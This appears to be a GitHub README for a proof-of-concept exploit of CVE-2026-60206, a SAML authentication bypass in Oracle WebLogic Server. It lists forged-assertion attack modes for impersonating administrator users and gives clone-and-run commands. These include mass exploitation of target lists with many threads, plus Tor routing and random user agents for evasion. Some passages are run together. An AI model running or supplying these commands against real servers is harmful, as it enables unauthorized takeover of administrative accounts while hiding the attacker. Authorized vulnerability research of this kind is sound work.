
Technical analysis and Proof-of-Concept for CVE-2026-60206, a critical Oracle WebLogic Server SAML authentication bypass vulnerability.
This repository provides a proof‑of‑concept exploit for CVE‑2026‑60206, a critical authentication bypass vulnerability in the SAML implementation of Oracle WebLogic Server. The flaw allows a remote, low‑privileged attacker to completely compromise the server by forging SAML assertions.
⚠️ Disclaimer: This tool is intended for authorized security research and testing only. Use it only against systems you own or have explicit permission to test. The authors assume no liability for misuse.
CVE-2026-60206 affects the Core component of Oracle WebLogic Server. The vulnerability stems from improper authentication handling in the SAML protocol implementation. Multiple attack vectors—such as XML Signature Wrapping (XSW), unsigned assertion acceptance, NameID manipulation, and audience/conditions bypass—allow an attacker to impersonate arbitrary users (e.g., weblogic) and gain administrative access.
Affected Versions:
The PoC implements the following attack vectors:
WantAssertionsSigned is not enforced).AudienceRestriction to broaden scope.NotBefore/NotOnOrAfter to bypass validity checks.all, unsigned, xsw, nameid, audience, conditions, combo, or replay.-l).-r).httpx if installed, falls back to requests (HTTP/1.1).--save-payloads).-c / --check) – quickly determine if a target is vulnerable (non‑exploit).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Required: requests, urllib3
Optional (improves functionality):
httpx – for HTTP/2 supportlxml – for enhanced SAML parsingsignxml, cryptography – for signature handling (not required for exploitation)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | Description |
|---|---|
-h, --help | Show help message and exit. |
--proxy PROXY | Proxy URL (overridden by --tor if used). |
--no-verify | Disable SSL certificate verification. |
--cookie COOKIE | Session cookie(s) (e.g., name=value; name2=value2). |
--auth AUTH | Basic authentication credentials (USER:PASS). |
| Flag | Description |
|---|---|
-t, --target TARGET | Single target URL (e.g., https://host:7002). |
-l, --list LIST | Target list file for mass scan, or single URL. |
-f, --file FILE | Alias for --list. |
| Flag | Description |
|---|---|
-r, --requestfile REQUESTFILE | Load raw HTTP request from file (replaces SAML attacks). |
--method METHOD | HTTP method to use (for raw request or single request; default: GET). |
--random-agent | Use a random User‑Agent from built‑in list. |
-A, --user-agent USER_AGENT | Custom User‑Agent header value. |
--tor | Use Tor anonymity network (SOCKS5 by default). |
--tor-port TOR_PORT | Tor proxy port (default: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tor proxy type (default: SOCKS5). |
--check-tor | Check if Tor is used properly (exits with verdict). |
--delay DELAY | Delay in seconds between each request. |
--timeout TIMEOUT | Timeout in seconds (default: 30). |
--retries RETRIES | Number of retries on timeout/errors (default: 3). |
--retry-on RETRY_ON | Retry request if response content matches regex (e.g., 'captcha'). |
-dr, --disable-redirects | Disable following HTTP redirects. |
| Flag | Description |
|---|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | Attack mode (default: all). |
--detect | Detect WebLogic version and SAML config only (no attack). |
-c, --check | Quick vulnerability check (detect only, exit with verdict). |
-u, --user USER | Target user to impersonate (default: weblogic). |
--groups GROUPS | Groups to include in SAML assertion (default: Administrators,Monitors). |
--issuer ISSUER | SAML Issuer Entity ID. |
--audience AUDIENCE | SAML Audience Entity ID. |
--relay-state RELAY_STATE | RelayState parameter for SAML POST. |
--base64 | Base64‑encode the SAML response in POST. |
--extra-attrs [NAME=VALUE ...] | Extra SAML attributes (e.g., role=admin). |
--replay-file REPLAY_FILE | Path to captured SAML response for replay. |
--save-payloads | Save generated SAML payloads to ./payloads/. |
--continue-on-success | Continue testing after a successful attack. |
-l):| Flag | Description |
|---|---|
--exploit | Test unsigned SAML assertion (default: detect only). |